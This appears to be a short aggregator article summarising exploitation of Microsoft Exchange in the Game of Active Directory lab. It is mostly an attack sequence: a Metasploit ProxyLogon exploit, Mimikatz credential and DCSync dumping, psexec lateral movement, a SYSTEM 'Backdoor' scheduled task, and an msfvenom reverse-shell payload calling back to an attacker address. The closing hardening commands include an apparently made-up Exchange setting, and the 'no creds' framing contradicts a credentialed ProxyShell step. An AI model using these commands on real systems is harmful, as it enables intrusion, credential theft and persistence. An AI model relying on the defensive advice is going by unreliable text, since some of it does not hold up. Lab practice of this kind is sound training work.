Exploiting Microsoft Exchange in Game of Active Directory (GOAD) – Part 1: No Creds

You Should Know:

In this article, Cyril Servieres discusses the exploitation of Microsoft Exchange in the context of the Game of Active Directory (GOAD) without requiring initial credentials. This is a critical skill for penetration testers and red teamers, especially when targeting Active Directory environments.

Key Steps and Commands:

1. Reconnaissance:

• Use `nmap` to scan for open ports on the Exchange server:

  nmap -sV -p 443,25,587,465,993,995 <target_ip>
  

• Identify the Exchange version using Metasploit:

  use auxiliary/scanner/http/owa_version
  set RHOSTS <target_ip>
  run
  

2. Exploiting ProxyLogon:

• ProxyLogon (CVE-2021-26855) is a common vulnerability in Microsoft Exchange. Use the following Metasploit module:

  use exploit/windows/http/exchange_proxylogon_rce
  set RHOSTS <target_ip>
  set LHOST <your_ip>
  run
  

3. Gaining Initial Access:

• After exploiting ProxyLogon, use `Mimikatz` to dump credentials:

  mimikatz.exe privilege::debug
  mimikatz.exe sekurlsa::logonpasswords
  

4. Lateral Movement:

• Use `psexec` to move laterally within the network:

  psexec.py <username>:<password>@<target_ip>
  

5. Persistence:

• Create a scheduled task for persistence:

  schtasks /create /tn "Backdoor" /tr "C:\path\to\payload.exe" /sc onstart /ru SYSTEM
  

Practice-Verified Commands:

• Exchange Server Enumeration:

  Get-ExchangeServer | Select-Object Name, Edition, AdminDisplayVersion
  

• ProxyShell Exploitation:

  python3 proxyshell.py -t <target_ip> -u <username> -p <password>
  

• Dumping Hashes with Mimikatz:

  mimikatz.exe "lsadump::dcsync /domain:<domain> /user:<admin_user>"
  

• Creating a Reverse Shell:

  msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<your_ip> LPORT=4444 -f exe -o shell.exe
  

What Undercode Say:

Exploiting Microsoft Exchange in a GOAD environment without credentials is a powerful technique for red teamers. By leveraging vulnerabilities like ProxyLogon and ProxyShell, attackers can gain initial access, escalate privileges, and move laterally within the network. Always ensure that your Exchange servers are patched and regularly audited to prevent such exploits. For further reading, visit mayfly277.github.io.

Related Commands:

• Check Exchange Server Patches:

  Get-Hotfix -Id KB5000871
  

• Disable Vulnerable Services:

  Set-Service -Name "MSExchangeAB" -StartupType Disabled
  

• Audit Exchange Logs:

  Get-EventLog -LogName "Application" -Source "MSExchange*"
  

• Enable Enhanced Security:

  Set-OrganizationConfig -EnableEnhancedSecurity $true
  

By following these steps and commands, you can better understand and defend against Exchange server vulnerabilities in Active Directory environments.

References:

Reported By: Cyril Servieres – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

Join Our Cyber World:

💬 Whatsapp | 💬 Telegram